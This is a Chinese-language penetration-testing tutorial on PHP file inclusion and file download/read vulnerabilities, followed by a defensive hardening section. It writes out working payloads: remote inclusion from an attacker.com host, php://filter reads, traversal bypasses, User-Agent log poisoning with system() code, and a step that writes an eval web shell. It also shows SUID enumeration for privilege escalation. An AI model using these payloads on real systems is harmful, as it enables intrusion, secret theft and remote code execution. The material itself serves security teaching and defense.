1. 项目概述:从“读取”到“掌控”的实战进阶
文件包含与下载读取漏洞,听起来像是渗透测试领域里一个老生常谈的话题。很多刚入门的朋友可能觉得,这不就是找个../../etc/passwd路径试试,能读出来就算有漏洞,读不出来就过。但在我过去十多年的实战和红队评估经历里,真正把这类漏洞“玩出花”,从一个简单的信息泄露点,变成获取服务器权限、穿透内网的致命跳板,中间隔着巨大的认知和实践鸿沟。这个项目标题“实战进阶与场景突破”,恰恰点出了核心:我们不仅要识别漏洞,更要精通在不同复杂场景下如何利用、如何绕过层层防御、如何将有限的读取能力转化为实际的突破。
简单来说,这类漏洞的本质是应用程序未能对用户控制的文件路径参数进行充分过滤,导致攻击者可以“越界”读取或下载服务器文件系统上的任意文件。这远不止是看看/etc/passwd那么简单。从Web应用的配置文件(如数据库连接字符串)、源码文件,到中间件的日志、临时文件,再到系统的敏感文件(如/proc/self/environ、SSH密钥),每一次成功的读取都可能泄露下一阶段攻击所需的关键信息。而“包含”漏洞(如PHP的include、require)则更危险,它允许将远程或本地文件作为代码执行,直接导致远程命令执行(RCE)。
网络上相关的CTF题目(如ctfshow、DVWA、Pikachu靶场)和讨论很多,但它们往往是理想化的、剥离了复杂环境的教学案例。真正的“实战进阶”,意味着你要面对WAF(Web应用防火墙)的规则过滤、面对开发人员编写的自定义安全函数、面对路径的多种编码和变形、面对没有直接回显的“盲”包含场景。而“场景突破”则要求你不仅能利用漏洞,还要能根据读取到的信息(比如一段数据库配置、一个内部接口地址)灵活调整攻击链,达成更深层次的目标。接下来,我将结合大量实战案例,拆解其中的核心思路、绕过技巧和升级打法。
2. 漏洞核心原理与利用范式深度解析
理解原理是绕过一切防御的基础。很多人一上来就忙着用工具扫字典,却对漏洞为什么会产生、服务器如何解析路径一知半解,遇到稍微变化的情况就束手无策。
2.1 文件包含漏洞:动态代码执行的“后门”
文件包含漏洞主要出现在使用include、require、include_once、require_once等函数的PHP应用中,其他语言如JSP、ASP也有类似机制,但PHP最为常见。其危险之处在于,被包含的文件内容会被当作PHP代码执行。
2.1.1 包含的类型与本质区别
- 本地文件包含(LFI):包含服务器本地的文件。例如:
?page=../../etc/passwd。如果目标文件不是有效的PHP代码,服务器会直接将其内容输出(前提是allow_url_include为Off且未使用封装协议)。这常常是读取敏感文件的第一步。 - 远程文件包含(RFI):包含远程服务器上的文件。例如:
?page=http://attacker.com/shell.txt。这需要php.ini中allow_url_fopen和allow_url_include均设置为On,在如今的生产环境中已较为罕见,但仍是需要检查的项。RFI的危害是立竿见影的,直接等同于获取Webshell。
关键点:很多文章只强调RFI,但在实际中,遇到LFI的概率远大于RFI。我们的进阶思路是:将LFI转化为“类RFI”的效果。即使不能直接包含远程URL,我们也可以通过包含服务器上一些我们能控制内容的文件(如日志、缓存、Session文件)来注入PHP代码并执行。
2.1.2 包含的“代码执行”触发条件
一个巨大的误区是:只要成功包含了一个文本文件,就能执行其中的PHP代码。不对。PHP引擎只会在文件被include的那一刻,将其内容当作代码来解析。如果你包含了一个纯文本的/etc/passwd,PHP引擎会尝试解析这些用户列表信息,这通常会导致语法错误而报错,但文件内容可能会在错误信息中泄露出来。
那么,如何让包含的文件变成有效的PHP代码?有两种主要方式:
- 包含一个已经是PHP格式的文件:比如包含上传功能上传的图片马(需结合文件上传漏洞),或者包含系统已有的PHP文件(如
/proc/self/environ、日志文件),并在这些文件的某个字段(如User-Agent)中注入PHP代码。 - 利用PHP封装协议:这是LFI进阶利用的灵魂。
php://input允许你将POST请求体作为代码执行。php://filter则是一个“转换器”,它可以用来读取文件源码(绕过include执行导致的错误),甚至进行编码转换。
实操心得:遇到疑似LFI的点,第一个测试的不是
../../etc/passwd,而是php://filter/convert.base64-encode/resource=index.php。这能直接读取指定文件的Base64编码内容,解码后获得源码,无论这个文件是不是PHP、会不会被执行。这招在CTF和实战中都是信息收集的“起手式”。
2.2 文件下载/读取漏洞:敏感信息的“直通车”
与包含漏洞不同,下载/读取漏洞的功能点本身设计就是读取文件并输出其内容(如下载附件、查看图片、读取文档)。常见的参数名如file、filename、path、url。漏洞成因是程序在拼接文件路径时,直接使用了用户输入,且未进行规范化或过滤目录穿越符(../)。
2.2.1 常见的漏洞代码模式
// 模式1:直接拼接 $filename = $_GET['file']; readfile('/var/www/html/downloads/' . $filename); // 模式2:使用函数但过滤不严 $file = basename($_GET['file']); // basename()会去掉路径中的目录部分,但无法防御../../../etc/passwd $filepath = '/download/' . $file;2.2.2 与包含漏洞的利用差异
下载读取漏洞的利用目标通常是获取文件内容,而不是执行代码。因此,它的利用更直接,但深度依赖对目标系统文件路径的熟悉程度。你需要知道哪些文件里有宝:
- Web相关:
../WEB-INF/web.xml(Java应用,可能泄露数据库配置和内部结构)、../config/database.php、../.env、../.git/config(泄露Git信息)。 - 系统相关:
../../etc/passwd(用户列表)、../../etc/shadow(密码哈希,需root权限)、../../proc/self/environ(当前进程环境变量,常包含密钥、路径)。 - 日志文件:这是连接LFI和RCE的桥梁。
../../var/log/apache2/access.log(Apache访问日志)、../../var/log/nginx/access.log。通过在HTTP请求中注入恶意代码(如User-Agent:<?php system($_GET[‘c’]);?>),再包含这个日志文件,代码就会被执行。
注意事项:路径深度(
../的个数)需要反复尝试。一个实用的技巧是使用Burp Suite的Intruder模块,对路径穿越深度进行模糊测试(../../../etc/passwd,../../../../etc/passwd...),或者利用....//....//....//etc/passwd这种双重编码或特殊变形来绕过简单的字符串过滤。
3. 实战进阶:绕过过滤与防御的艺术
在实际的网站或安全防护产品中,开发者不会坐以待毙。他们会部署各种过滤和拦截。这时,粗暴的../../../往往无效。我们需要一套组合拳。
3.1 常见过滤机制与绕过方法
3.1.1 关键字黑名单过滤
例如,代码中可能用str_replace()过滤../、etc、passwd等关键字。
- 双写绕过:如果过滤是简单的替换为空,
..././过滤掉../后变成../。etc可以尝试eetcctc。 - 大小写混淆:
..\(Windows路径分隔符)、..//、%2e%2e%2f(URL编码)。 - 超长路径绕过:利用操作系统对路径长度的限制和解析特性,如
/./././../././etc/passwd,中间的/./会被系统规范化掉,但可能绕过简单的字符串匹配。
3.1.2 路径白名单或后缀拼接
这是更棘手的情况。代码可能要求参数必须以.jpg结尾,或者只允许访问images/目录下的文件。
$file = $_GET['file']; if (strpos($file, ‘..’) !== false) { die(‘Hacker!’); } $path = ‘/var/www/html/images/’ . $file . ‘.jpg’; readfile($path);- 利用空字节(%00)截断:在PHP版本小于5.3.4时,
%00(空字节)会被认为是字符串结束符。因此file=../../../etc/passwd%00,拼接后路径变为/images/../../../etc/passwd%00.jpg,系统在读取到%00时就停止了,忽略了后面的.jpg。注意:此方法在现代PHP环境中已基本失效。 - 利用PHP封装协议:
php://filter不受后缀限制。你可以尝试file=php://filter/convert.base64-encode/resource=../../../etc/passwd。即使后面被拼接了.jpg,整个字符串被当作php://filter...这个“协议流”的参数,.jpg成了参数的一部分,通常不影响协议解析。 - 利用目录穿越跳出限制目录:关键在于
../的数量要足够跳出程序拼接的基目录。例如基目录是/var/www/html/images/,要读到/etc/passwd,可能需要../../../../etc/passwd。
3.2 高级场景:无回显与日志注入
3.2.1 盲文件包含
有时候,包含文件后页面没有明显变化,或者只返回一个统一的错误页。这时需要判断包含是否成功。
- 时间延迟判断:包含一个不存在的远程URL(如
http://192.168.1.100:9999)或使用php://filter读取一个很大的文件,观察页面响应时间是否明显变长。如果包含了一个不存在的资源,响应通常会很快失败;如果成功包含了一个本地大文件,则会有读取延迟。 - DNS外带查询:这是更隐蔽的方式。如果可以包含
http://URL,可以尝试包含一个由你控制的域名下的URL,如http://yourdomain.com/。然后在你的DNS服务器日志中查看是否有来自目标服务器的查询请求,以此证明包含成功。例如,利用php://filter和convert.base64-encode将文件内容编码后,作为子域名的一部分发出DNS请求(需要将Base64字符串中的+和/进行URL安全替换),但这通常用于CTF,实战中较难。
3.2.2 日志文件注入实战详解
这是将LFI转化为RCE的经典手法,极其重要。假设我们找到了一个LFI点:?page=../../../var/log/apache2/access.log,并且能读到日志内容。
- 确认日志路径和可读性:首先通过LFI读取可能的日志路径,如
/var/log/httpd/access_log、/var/log/nginx/access.log、/usr/local/apache2/logs/access.log等。不同系统、不同Web服务器、不同安装方式路径差异很大。 - 污染日志:我们需要在日志中写入PHP代码。由于日志记录的是HTTP请求,我们可以通过修改HTTP请求头来注入。最常用的是
User-Agent头,因为我们可以完全控制它。- 使用Burp Suite或Curl发起一个请求,将
User-Agent设置为:<?php system($_GET[‘cmd’]); ?>。 - 这个请求会被记录到
access.log中,一行记录可能类似于:192.168.1.1 - - [日期] “GET /index.php HTTP/1.1” 200 1234 “-” “<?php system($_GET[‘cmd’]); ?>“
- 使用Burp Suite或Curl发起一个请求,将
- 包含执行:然后,我们请求LFI链接:
?page=../../../var/log/apache2/access.log&cmd=id。服务器会读取日志文件,当PHP引擎解析到包含进来的日志内容时,遇到<?php system($_GET[‘cmd’]); ?>这段代码,就会执行它,并将执行id命令的结果输出到页面上(可能混杂在日志文本中)。
踩坑记录:日志注入有几个常见的坑。第一,日志文件可能很大,包含速度慢且容易超时。可以尝试包含
error.log,它通常更小,并且也可以通过请求一个不存在的路径(如<?php phpinfo();?>)来将代码写入错误日志。第二,PHP代码中的尖括号<、>可能在写入日志时被HTML编码或转义。可以尝试使用短标签<?=或<script language=”php”>。第三,确保你的代码注入位置在日志行中是独立的,不会被其他字符(如引号)破坏语法。我通常会在代码前后加上换行符\n,或者使用/**/注释来隔离。
4. 场景突破:从信息泄露到权限提升
单纯的读取一个文件只是开始。高手和普通人的区别在于,能将从不同文件读取到的碎片信息,拼凑成一张通往服务器最高权限的地图。
4.1 信息拼图:典型敏感文件与利用链
下表列出了一些关键文件及其可能泄露的“宝藏”,以及下一步的行动思路:
| 文件路径 | 可能包含的敏感信息 | 利用思路与后续动作 |
|---|---|---|
/proc/self/environ | 当前进程的环境变量。可能包含:DOCUMENT_ROOT(网站根目录)、数据库连接字符串(如DB_PASSWORD)、其他API密钥。 | 1. 直接获取数据库密码,尝试连接。2. 获取绝对路径,为其他文件包含提供精确路径。 |
~/.bash_history | 当前用户的历史命令记录。可能包含:数据库登录命令、sudo命令、敏感文件操作记录。 | 分析历史操作,推测服务器结构、寻找其他敏感文件位置、甚至发现密码明文。 |
/etc/passwd | 系统用户列表。 | 获取用户名,为暴力破解SSH或系统服务提供字典。 |
../WEB-INF/web.xml(Java) | Java Web应用配置,可能包含数据库配置、其他资源文件路径。 | 获取数据库凭证;结合../WEB-INF/classes/目录下的源码文件,进行代码审计,寻找更多漏洞。 |
../.git/config | Git仓库配置。可能包含远程仓库地址(可能是内部地址)。 | 利用git-dumper等工具尝试下载整个.git目录,恢复源码,进行白盒审计。 |
../config/database.php(Laravel等) | 框架的数据库配置文件。 | 直接获取数据库访问权限。 |
../.env | 现代框架(如Laravel, Node.js)的环境变量文件。 | 通常包含数据库密码、APP_KEY、第三方API密钥等最高机密。 |
/var/lib/mlocate/mlocate.db | 系统文件索引数据库(如果存在)。 | 可以查询特定文件名(如id_rsa,config.inc.php)在全盘的位置。 |
4.2 利用链构建案例:从LFI到GetShell
假设在一次授权测试中,我们通过一个下载功能发现路径穿越漏洞,可以读取/etc/passwd。
第一步:信息收集
- 读取
/etc/passwd,发现用户www-data和deploy。 - 尝试读取
/home/deploy/.bash_history,成功。发现历史命令中有cd /var/www/html/myapp和git pull origin master。 - 读取
/var/www/html/myapp/.git/config,发现内部GitLab地址:http://gitlab.internal/myproject.git。
- 读取
第二步:扩大战果
- 读取
/var/www/html/myapp/.env,成功获取数据库密码Sup3rS3cr3tP@ss!和Redis密码。 - 尝试用此密码SSH登录
deploy用户,失败(密码不同)。 - 读取
/var/www/html/myapp/config/database.php,确认数据库主机为localhost。
- 读取
第三步:寻找突破口
- 读取Apache日志
/var/log/apache2/access.log,发现大量请求,但直接包含执行未成功(可能代码被转义)。 - 尝试读取
/proc/self/environ,成功!发现环境变量APP_KEY=base64:xxxxxx...和DB_PASSWORD=Sup3rS3cr3tP@ss!(与.env一致),同时发现DOCUMENT_ROOT=/var/www/html/myapp/public。
- 读取Apache日志
第四步:LFI to RCE
- 既然知道了绝对路径和日志路径,我们尝试更精准的日志注入。向网站发起一个请求,User-Agent设置为:
<?php file_put_contents(‘/var/www/html/myapp/public/shell.php’, ‘<?php eval($_POST[“cmd”]);?>’);?>。 - 然后包含日志文件:
?file=../../../var/log/apache2/access.log。 - 如果注入成功,这段代码会执行,在Web目录下写入一个Webshell文件
shell.php。 - 访问
http://target.com/shell.php,使用POST参数cmd=system(‘id’);,确认命令执行成功。
- 既然知道了绝对路径和日志路径,我们尝试更精准的日志注入。向网站发起一个请求,User-Agent设置为:
第五步:权限提升与横向移动
- 通过Webshell,查看当前用户权限(
whoami),发现是www-data。 - 查找具有SUID权限的文件(
find / -perm -4000 2>/dev/null),寻找提权机会。 - 查看
/home/deploy目录下的文件,或许能找到SSH私钥(id_rsa)或其他配置文件。 - 利用获取到的内部GitLab地址,尝试从当前服务器向内网其他机器发起探测或攻击。
- 通过Webshell,查看当前用户权限(
这个案例展示了如何将简单的文件读取,通过信息拼图,一步步导向代码执行和内网渗透。关键在于保持好奇心和联想能力,每一个读到的信息都可能是指向下一个目标的钥匙。
5. 防御视角:开发与运维的加固指南
站在攻击者的角度理解漏洞,最终是为了更好地防御。作为开发或运维人员,以下措施至关重要:
5.1 开发层:输入处理与设计
- 白名单机制是王道:对于文件包含或下载功能,尽可能使用白名单。预先定义好允许访问的文件名或ID,通过映射表(如数据库)将用户传入的ID映射到真实的、完整的服务器路径。绝对不要直接将用户输入拼接进路径。
- 路径规范化与过滤:如果必须使用用户输入的部分路径,请使用
realpath()函数(PHP)来解析绝对路径,并与允许的基准目录进行比较。确保规范化后的路径以基准目录开头。例如:$base = ‘/var/www/html/uploads/’; $userInput = $_GET[‘file’]; $realPath = realpath($base . $userInput); if ($realPath === false || strpos($realPath, $base) !== 0) { // 路径不存在或试图穿越基目录 die(‘Invalid file.’); } - 禁用危险特性:在
php.ini中,确保allow_url_include和allow_url_fopen设置为Off。这是阻止RFI的最有效方法。 - 上下文相关输出编码:对于下载功能,设置正确的
Content-Type和Content-Disposition头。对于本应显示图片却输出了文本的情况,要检查逻辑。
5.2 运维与配置层
- 最小权限原则:运行Web服务的用户(如
www-data,nginx)应该具有尽可能低的文件系统权限。确保其只能读取Web目录下必要的文件,绝对不能读取/etc、/home、日志目录(除非必要)等。 - 日志文件安全:将Web服务器日志目录的权限设置为仅对root和所需的管理员组可读。避免Web用户对日志文件有写权限(尽管攻击者通常通过HTTP请求“写”入日志,这取决于Web服务器的配置)。
- 定期更新与安全审计:及时更新Web框架、中间件和PHP版本,修复已知的包含漏洞(如
%00截断)。对代码进行定期的安全审计,特别是文件操作相关的函数。 - 部署WAF/IDS:Web应用防火墙可以拦截常见的路径穿越攻击Payload。但需知,WAF是缓解措施,不能替代安全的代码。
文件包含与下载读取漏洞,如同一把被遗留在门上的钥匙。攻击者的任务就是找到它,并尝试打开房间里所有的锁。而防御者的任务,不仅是要收好这把钥匙,更要确保即使用户拿到了钥匙,也无法打开任何一扇不该打开的门。这场博弈,始于对漏洞原理最深度的理解,终于对安全边界的全方位守护。希望这篇来自实战的总结,能为你提供打开新思路的“钥匙”。